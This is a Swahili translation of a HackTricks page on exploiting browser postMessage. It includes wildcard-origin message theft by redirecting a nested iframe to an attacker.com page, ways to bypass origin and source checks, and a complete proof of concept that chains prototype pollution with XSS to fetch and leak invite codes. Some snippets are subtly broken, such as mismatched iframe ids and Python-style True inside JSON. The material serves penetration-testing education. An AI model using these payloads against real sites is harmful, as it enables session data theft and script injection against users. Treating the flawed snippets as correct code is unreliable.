.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Mapungufu ya PostMessage
Mapungufu ya PostMessage
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJISAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tuma PostMessage
PostMessage hutumia kazi ifuatayo kutuma ujumbe:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Tafadhali kumbuka kwamba targetOrigin inaweza kuwa '*' au URL kama https://company.com.
Katika skenario ya pili, ujumbe unaweza kutumwa tu kwa kikoa hicho (hata kama asili ya kitu cha dirisha ni tofauti).
Ikiwa alama ya joker inatumika, ujumbe unaweza kutumwa kwa kikoa chochote, na utatumwa kwa asili ya kitu cha Dirisha.
Kuvamia iframe & alama ya joker katika targetOrigin
Kama ilivyoelezwa katika ripoti hii ikiwa utapata ukurasa ambao unaweza kuingizwa kwenye iframe (bila ulinzi wa X-Frame-Header
) na unatuma ujumbe wa hisia kupitia postMessage ukitumia alama ya joker (*), unaweza kubadilisha asili ya iframe na kuvuja ujumbe wa hisia kwenda kwa kikoa kinachodhibitiwa na wewe.
Tafadhali kumbuka kwamba ikiwa ukurasa unaweza kuingizwa kwenye iframe lakini targetOrigin imewekwa kwa URL na sio kwa alama ya joker, hila hii haitafanya kazi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Utekaji wa addEventListener
addEventListener
ndio kazi hutumiwa na JS kutangaza kazi ambayo inatarajia postMessages
.
Msimbo kama ufuatao utatumika:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Katika kesi hii angalia jinsi jambo la kwanza ambalo msimbo unafanya ni kuangalia asili. Hii ni muhimu sana hasa ikiwa ukurasa utafanya kitu nyeti na habari iliyopokelewa (kama kubadilisha nenosiri). Ikiwa haitaangalia asili, wachomaji wanaweza kufanya waathiriwa watume data za kupotosha kwa vituo hivi na kubadilisha nywila za waathiriwa (kwa mfano huu).
Uchambuzi
Kwa lengo la kupata wasikilizaji wa tukio kwenye ukurasa wa sasa unaweza:
- Tafuta msimbo wa JS kwa
window.addEventListener
na$(window).on
(toleo la JQuery) - Tekeleza kwenye konsoli ya zana ya developer:
getEventListeners(window)
- Nenda Elements --> Wasikilizaji wa Tukio katika zana za developer ya kivinjari
- Tumia kifaa cha kivinjari kama https://github.com/benso-io/posta au https://github.com/fransr/postMessage-tracker. Vifaa hivi vya kivinjari vitakapo kukamata ujumbe wote na kuwaonyesha.
Pita kwenye Uchunguzi wa Asili
- Sifa ya
event.isTrusted
inachukuliwa kuwa salama kwani inarudishaTrue
tu kwa matukio yaliyozalishwa na hatua halisi za mtumiaji. Ingawa ni changamoto kuihepa ikiwa imefanywa kwa usahihi, umuhimu wake katika ukaguzi wa usalama ni muhimu. - Matumizi ya
indexOf()
kwa ukaguzi wa asili katika matukio ya PostMessage yanaweza kuwa rahisi kuihepa. Mfano unaoonyesha udhaifu huu ni:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Mbinu ya
search()
kutokaString.prototype.search()
inalenga kwa mizani ya kawaida, sio herufi. Kupitisha kitu kingine isipokuwa mizani ya kawaida kunapelekea uongofu wa lazima kuwa mizani, hivyo kufanya mbinu kuwa na hatari. Hii ni kwa sababu katika mizani, kipande (.) hufanya kama kichujio, kuruhusu kuihepa uthibitisho na uwanja ulioandaliwa kwa makini. Kwa mfano:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Kazi ya
match()
, kamasearch()
, inashughulikia mizani. Ikiwa mizani ni dhaifu kimuundo, inaweza kuwa rahisi kuihepa. -
Kazi ya
escapeHtml
inalenga kusafisha vipengele kwa kutoroka herufi. Hata hivyo, haifanyi kitu kipya kilichotoroka bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika vibaya. Hasa, ikiwa kitu kinaweza kudhibitiwa hivi kwamba mali yake inayodhibitiwa haikubalihasOwnProperty
,escapeHtml
haitafanya kama ilivyotarajiwa. Hii inaonyeshwa katika mifano hapa chini: -
Kukosekana kwa Matarajio:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Kuihepa kwa kutoroka:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Katika muktadha wa udhaifu huu, kitu cha File
kinafaa kutumiwa kwa sababu ya mali yake ya kusoma tu ya name
. Mali hii, inapotumiwa katika templeti, haifanyi safishwa na kazi ya escapeHtml
, ikiongoza kwa hatari za usalama.
- Mali ya
document.domain
katika JavaScript inaweza kuwekwa na skripti ili kupunguza kikoa, kuruhusu utekelezaji wa sera sawa ya asili ndani ya kikoa kimoja cha mzazi.
Kuihepa e.origin == window.origin
Wakati wa kuingiza ukurasa wa wavuti ndani ya sandboxed iframe kwa kutumia %%%%%%, ni muhimu kuelewa kuwa asili ya iframe itawekwa kwa null. Hii ni muhimu hasa unaposhughulika na vipengele vya sandbox na matokeo yake kwa usalama na utendaji.
Kwa kufafanua allow-popups
katika kipengele cha sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linarithi vikwazo vya sandbox ya mzazi wake. Hii inamaanisha kwamba isipokuwa allow-popups-to-escape-sandbox
pia imejumuishwa, asili ya dirisha la popup pia inawekwa kwa null
, ikilinganisha na asili ya iframe.
Kufuatia hivyo, wakati popup inapofunguliwa chini ya hali hizi na ujumbe unatumwa kutoka kwa iframe kwenda kwa popup kwa kutumia postMessage
, pande zote za kutuma na kupokea zina asili zao zimewekwa kwa null
. Hali hii inapelekea kwa tukio ambapo e.origin == window.origin
ina thamani ya kweli (null == null
), kwa sababu iframe na popup zote zina thamani sawa ya asili ya null
.
Kwa habari zaidi soma:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Kuihepa e.source
Inawezekana kuchunguza ikiwa ujumbe umetoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa ya kuvutia kwa Vifaa vya Skripti za Yaliyomo kutoka kwa vifaa vya kivinjari ili kuhakikisha ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Unaweza kulazimisha e.source
ya ujumbe kuwa null kwa kuunda iframe ambayo inatuma postMessage na kufutwa mara moja.
Kwa maelezo zaidi soma:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Kizuizi cha Kichwa cha X-Frame
Ili kutekeleza mashambulizi haya kwa njia bora, unaweza kuweka ukurasa wa mwathiriwa ndani ya iframe
. Lakini vichwa vya kama X-Frame-Header
vinaweza kuzuia hilo.
Katika hali hizo, bado unaweza kutumia shambulizi lisilo la siri. Unaweza kufungua kichupo kipya kwa programu ya wavuti yenye kasoro na kuwasiliana nayo:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Kuiba ujumbe uliotumwa kwa mtoto kwa kuzuia ukurasa kuu
Kwenye ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba data nyeti ya postmessage iliyotumwa kwa iframe ya mtoto kwa kuzuia ukurasa mkuu kabla ya kutuma data na kutumia XSS katika mtoto kwa kuvuja kwa data kabla haijapokelewa:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Kuiba ujumbe kwa kubadilisha mahali pa iframe
Ikiwa unaweza kuweka iframe kwenye ukurasa bila Kichwa cha X-Frame kinachohitajika ambacho kina iframe nyingine, unaweza kubadilisha mahali pa iframe ya mtoto, hivyo ikiwa inapokea postmessage iliyotumwa kwa alama ya asterisk, mshambuliaji anaweza kubadilisha asili ya iframe hiyo kwenda kwenye ukurasa unaodhibitiwa na yeye na kuiba ujumbe huo:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage kwa Uchafuzi wa Prototype na/au XSS
Katika mazingira ambapo data inayotumwa kupitia postMessage
inatekelezwa na JS, unaweza kuweka iframe kwenye ukurasa na kutumia uchafuzi wa prototype/XSS kutuma shambulio kupitia postMessage
.
Mifano ya XSS iliyoelezwa vizuri sana kupitia postMessage
inaweza kupatikana katika https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Mfano wa shambulio la kutumia Uchafuzi wa Prototype na kisha XSS kupitia postMessage
kwa iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Kwa maelezo zaidi:
- Kiungo kwa ukurasa kuhusu uchafuzi wa prototype
- Kiungo kwa ukurasa kuhusu XSS
- Kiungo kwa ukurasa kuhusu uchafuzi wa prototype wa upande wa mteja hadi XSS
Marejeo
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Kwa mazoezi: https://github.com/yavolo/eventlistener-xss-recon
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.